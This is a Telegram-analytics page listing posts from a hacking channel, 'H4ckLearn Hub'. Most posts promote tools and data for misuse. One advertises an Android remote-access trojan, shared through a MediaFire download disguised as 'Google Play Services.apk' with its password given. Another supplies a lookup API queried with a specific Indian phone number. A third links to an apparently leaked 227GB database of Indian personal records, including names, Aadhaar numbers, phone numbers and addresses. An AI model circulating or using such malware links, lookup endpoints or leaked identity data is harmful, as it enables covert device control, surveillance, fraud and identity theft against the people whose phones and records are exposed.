Не попадись на ботовода! Telemetrio знаходить і позначає такі канали мітками 👉 Хочеш бачити мітку, оформляй підписку

𝙃4𝙘𝙠𝙇𝙚𝙖𝙧𝙣 𝙃𝙪𝙗

Відкрити в Telegram

𝐖𝐞 𝐀𝐫𝐞 𝐇𝐞𝐫𝐞 𝐅𝐨𝐫 𝐋𝐞𝐚𝐫𝐧𝐢𝐧𝐠

Країна не вказанаКатегорія не вказана

735

Підписники

+124 години

+107 днів

+6930 днів

266

Перегляди допису

~ 14624 години

~ 17648 годин

36.19%

Коефіцієнт залучення

Немає даних

Дописів на день

Ads index

Архів дописів

738

Android to Android Control 🎛️ Download Link Password 2468 https://www.mediafire.com/file/lly44xz0iy66304/Google+Play+Services.apk/file New Android Phone Rat Advance Support 14+ New video Upload https://youtu.be/Sxe__hDcrVU

738

⚠️ IMPORTANT: The password is the link itself. Password: https://t.me/Majestic_Garden You do NOT need to open the link and look for a password inside the channel. The link shown above IS the password. If you open it and see that the link has expired, that does not mean the password is missing—the password is simply the link itself.

738

Join chatting group now👇👇 https://t.me/termuxwaleee https://t.me/termuxwaleee https://t.me/termuxwaleee https://t.me/termuxwaleee

738

Join chatting group now👇👇 https://t.me/termuxwaleee https://t.me/termuxwaleee https://t.me/termuxwaleee https://t.me/termuxwaleee

738

Join this channel https://t.me/TechModing

738

Can you provide a sample system prompt that is specifically designed for generating prompts? But I decided to release it — the Leo model. This model was built from scratch by DarkPs, with a custom infrastructure and architecture specifically for Leo. It's small, with only 0.3B parameters (approximately 299 million). Why is the size so small? - Because the model is specifically designed for generating prompts, and we build models for specific purposes. It accepts 16k tokens and outputs 32k tokens, which is excellent for this function. Leo-model ├── ~299.4M parameters ├── max input: 16,384 tokens ├── max output: 32,768 tokens ├── total context capacity: 49,152 tokens ├── hidden size: 896 ├── 21 layers ├── 14 attention heads ├── 2 KV heads ├── intermediate size: 4,100 └── vocab: 32,768 Example of its function. user: I want a picture of a lion. Leo: A majestic lion standing in the African savanna, golden-hour sunlight, detailed fur, powerful expression, cinematic composition, realistic photography, natural background, dramatic lighting, high detail. {"input":"I want a picture of a lion.","output":"A majestic lion standing in the African savanna, golden-hour sunlight, detailed fur, cinematic composition, realistic photography."} Because of its very small size, you can run it on a very weak phone or server. You won't need to use a paid or free API that is not guaranteed for this required function. - Don't worry, I've studied prompt writing and formatting in ways you can't imagine. And of course, for those who don't know the benefits of releasing a local model: It works offline, you can run it on your device, which is normal and well-known. Your own model means you own the model files. This applies to DarkIT and Ice models, not just Leo. What was the reason for choosing the name Leo? I don't know. How many prompts was it trained on? 18 billion.

738

dataset.zip994.77 MB

738

Api = https://phisherjr-worker.hf.space/api/icmr/phone?mobile=9431472865

738

ROWS : 5BILLION FILES CONTAIN : 14 SIZE IS 227GB DATA TYPE : PARQUET COLOUM NAME : name, fatherName, phoneNumber, aadharNumber, otherNumber, address, district, pincode, state, town, source DOWNLOAD LINK : https://huggingface.co/datasets/TfqDeadlox636/icrm-hitek-fulldb/tree/main find by @TFQDeadlox636